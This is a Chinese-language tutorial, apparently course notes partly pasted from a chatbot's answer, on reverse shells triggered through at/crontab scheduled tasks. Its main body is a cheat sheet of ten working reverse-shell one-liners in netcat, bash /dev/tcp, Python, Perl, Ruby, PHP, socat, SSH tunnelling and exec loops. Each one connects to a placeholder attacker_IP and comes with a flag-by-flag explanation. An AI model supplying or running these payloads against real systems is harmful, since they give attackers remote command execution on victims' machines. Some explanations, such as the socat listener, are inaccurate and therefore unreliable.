计划任务反弹shell
计划任务反弹shell
1、使用一次性计划任务和周期性计划任务反弹shell(5分钟后执行,和每5分钟执行1次),kali主机接收,解释命令字的含义
5分钟后执行
at now + 5min #at命令创建一个5分钟后执行的计划任务 |

5分钟后kali验证:

每5分钟执行一次
crontab -e #使用cron命令创建计划任务 |


2.其他反弹shell方式
好的,我将逐一详细讲解每种反弹 shell 的实现方式,并解释每个命令背后的原理。反弹 shell 是一种利用目标机器连接回攻击者的机器,以便获得对目标的控制。以下是每种方法的详细解析。
1. Netcat 反弹 Shell
原理:
Netcat是一个简单的网络工具,用于通过 TCP 或 UDP 协议进行数据传输。它常常被用来建立反向连接。
步骤:
攻击者机器(监听端口):
nc -lvp 1234
-l: 让 Netcat 监听指定端口。-v: 打印更详细的信息(verbose)。-p: 指定监听的端口。1234: 指定端口号,攻击者的机器会在这个端口上等待连接。
目标机器(反弹连接):
nc <attacker_IP> 1234 -e /bin/bash
<attacker_IP>: 攻击者的 IP 地址。1234: 目标机器连接的端口号。-e /bin/bash: 当连接建立后,-e参数让目标机器执行/bin/bash,也就是打开一个 shell。
解释:
- 当目标机器执行该命令时,它会连接到攻击者的机器(监听在端口 1234),并通过
-e参数执行/bin/bash,将标准输入/输出重定向到网络连接中,攻击者就可以通过网络控制目标机器的 shell。
2. Bash 反弹 Shell
原理:
Bash 是 Linux 中的默认 shell,具有强大的内建功能。通过 bash 的内建命令,可以直接建立反向连接。
步骤:
目标机器:
bash -i >& /dev/tcp/<attacker_IP>/1234 0>&1
bash -i: 启动一个交互式的 Bash shell。>& /dev/tcp/<attacker_IP>/1234: 将标准输出(stdout)和标准错误(stderr)重定向到通过/dev/tcp/设备文件建立的 TCP 连接。0>&1: 将标准输入(stdin)也重定向到同样的 TCP 连接。
解释:
/dev/tcp是 Linux 中一个特殊的设备文件,它允许通过它进行 TCP 连接。在这个例子中,Bash 会通过这个设备文件建立与攻击者机器的连接,并将交互式 shell 的输入/输出通过网络传输,从而实现反向 shell。
3. Python 反弹 Shell
原理:
Python 是一种高级编程语言,具有丰富的网络编程功能。可以使用 Python 来创建一个 socket 连接,并与攻击者的机器建立反向连接。
步骤:
目标机器:
python -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker_IP>",1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'
import socket, os, pty: 导入需要的 Python 库:socket用于网络连接,os用于文件操作,pty用于伪终端(用于交互式 shell)。socket.socket(socket.AF_INET, socket.SOCK_STREAM): 创建一个 IPv4 类型的 TCP socket。s.connect(("<attacker_IP>", 1234)): 连接到攻击者机器的 IP 地址和端口。os.dup2(s.fileno(), 0),os.dup2(s.fileno(), 1),os.dup2(s.fileno(), 2): 将目标机器的输入(stdin)、输出(stdout)和错误输出(stderr)重定向到 TCP socket 上。pty.spawn("/bin/bash"): 使用伪终端启动一个交互式 Bash shell。
解释:
- 通过 Python 创建一个 socket,并将输入/输出流重定向到该 socket 上,从而实现了目标机器的反向 shell。当攻击者连接到该端口时,就能获得一个交互式的 shell。
4. Perl 反弹 Shell
原理:
Perl 是一种广泛使用的脚本语言,类似 Python,也有强大的网络编程功能。可以通过 Perl 来实现反向 shell。
步骤:
目标机器:
perl -e 'use Socket;$i="<attacker_IP>";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
use Socket: 加载 Perl 的Socket模块。$i="<attacker_IP>";$p=1234: 设置攻击者 IP 和端口。socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp")): 创建一个 TCP socket。connect(S,sockaddr_in($p,inet_aton($i))): 连接到攻击者的机器。open(STDIN,">&S"),open(STDOUT,">&S"),open(STDERR,">&S"): 将目标机器的标准输入、输出和错误重定向到 socket。exec("/bin/bash -i"): 启动交互式 Bash shell。
解释:
- 这个命令通过 Perl 脚本建立 TCP 连接,接着通过
open函数将标准输入/输出重定向到 socket,从而实现反向连接的 shell。
5. Ruby 反弹 Shell
原理:
Ruby 也是一种脚本语言,类似于 Python 和 Perl,具备处理网络连接的功能。通过 Ruby 的 socket 库,也可以实现反向 shell。
步骤:
目标机器:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("<attacker_IP>",1234);while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
-rsocket: 加载 Ruby 的socket库。fork: 创建一个子进程来处理 socket。c=TCPSocket.new("<attacker_IP>", 1234): 创建一个连接到攻击者 IP 和端口的 TCP socket。while(cmd=c.gets): 读取从攻击者发送来的命令。IO.popen(cmd, "r"): 执行读取到的命令。c.print io.read: 将命令输出返回给攻击者。
解释:
- Ruby 脚本通过
socket库与攻击者建立连接,然后接收命令并执行,将结果发送回攻击者,实现反向 shell。
6. PHP 反弹 Shell
原理:
如果目标机器上运行了 PHP(通常是 Web 服务器),则可以利用 PHP 的 exec() 函数执行反向 shell。
步骤:
目标机器(Web 服务器上的 PHP 文件):
exec("/bin/bash -c 'bash -i >& /dev/tcp/<attacker_IP>/1234 0>&1'");
解释:
- PHP 的
exec()函数允许执行 shell 命令。通过这段 PHP 代码,可以让目标服务器通过bash执行反向连接命令。
抱歉,我之前没有完整地解释所有十种反弹 shell 方法。现在我将继续详细解释剩下的五种方法:
7. Socat 反弹 Shell
原理:
Socat 是一个非常强大的网络工具,允许在两端创建双向数据流。它支持许多协议,包括 TCP、UDP、Unix 套接字等,可以用来建立反向 shell。
步骤:
攻击者机器(监听端口):
socat TCP-LISTEN:1234,reuseaddr,fork EXEC:/bin/bash
TCP-LISTEN:1234: 监听端口 1234。reuseaddr: 允许重用地址(即使端口已被占用也能继续监听)。fork: 为每个连接创建一个新的进程。EXEC:/bin/bash: 启动一个/bin/bashshell 并将其与连接绑定。
目标机器(反弹连接):
socat TCP:<attacker_IP>:1234 EXEC:/bin/bash
TCP:<attacker_IP>:1234: 连接到攻击者的 IP 和端口。EXEC:/bin/bash: 在连接上执行/bin/bash。
解释:
Socat通过 TCP 协议在攻击者和目标机器之间建立一个双向数据流,并启动一个交互式 shell。目标机器通过socat连接到攻击者的机器,攻击者就可以控制目标机器的 shell。
8. SSH 反向隧道(Reverse SSH)
原理:
SSH(Secure Shell)不仅用于远程登录,还可以通过反向隧道(Reverse SSH)建立一个安全的连接。反向隧道可以使目标机器向攻击者机器开放一个端口,从而实现反弹 shell。
步骤:
目标机器(反向连接):
ssh -R 1234:localhost:22 user@attacker_IP
-R 1234:localhost:22: 将目标机器的 1234 端口转发到攻击者机器的 22 端口(SSH 默认端口),实现反向隧道。user@attacker_IP: 目标机器连接到攻击者的 SSH 服务。
攻击者机器(监听端口):
ssh -p 1234 user@localhost
- 通过 SSH 连接到本地端口 1234(由目标机器转发),从而访问目标机器的 shell。
解释:
- 通过 SSH 反向隧道,目标机器创建了一个连接,使攻击者可以通过本地端口访问目标机器的端口。攻击者可以通过 SSH 连接目标机器的 shell,绕过防火墙或 NAT 限制。
9. Netcat 反向 Shell(UDP)
原理:
在某些情况下,目标机器的防火墙可能只允许 UDP 流量而阻止 TCP 流量。通过 Netcat 使用 UDP 协议,可以在这些情况下建立反向连接。
步骤:
攻击者机器(监听端口):
nc -u -lvp 1234
-u: 启用 UDP 协议。-l: 监听指定端口。-v: 启用详细输出。-p 1234: 指定监听的端口(1234)。
目标机器(反向连接):
nc -u <attacker_IP> 1234 -e /bin/bash
-u: 启用 UDP 协议。<attacker_IP>: 攻击者的 IP 地址。1234: 目标机器连接到攻击者的端口。-e /bin/bash: 启动一个 Bash shell。
解释:
- 通过 UDP 协议建立反向连接,Netcat 将目标机器的输入/输出重定向到攻击者机器的 UDP 端口。这种方法适用于防火墙只允许 UDP 流量的情况。
10. TCP/UDP 反弹 Shell 使用 exec
原理:
通过 exec 命令,目标机器可以将其 shell 输入/输出重定向到 TCP 或 UDP 连接。这种方法非常简洁,不依赖于额外的工具。
步骤:
目标机器(反弹连接):
exec 5<>/dev/tcp/<attacker_IP>/1234; cat <&5 | while read line; do $line 2>&5 >&5; done
exec 5<>/dev/tcp/<attacker_IP>/1234: 打开一个 TCP 连接到攻击者的机器,端口为 1234,文件描述符 5 连接该端口。cat <&5: 从文件描述符 5 读取数据(即攻击者发送的命令)。while read line; do $line 2>&5 >&5; done: 循环读取命令并执行,然后将输出和错误输出重定向回文件描述符 5,从而发送回攻击者。
解释:
/dev/tcp是一个特殊的设备文件,可以用来通过 Bash 与远程主机进行 TCP 连接。通过exec命令和cat,目标机器将输入输出重定向到网络连接,攻击者就能获得 shell。






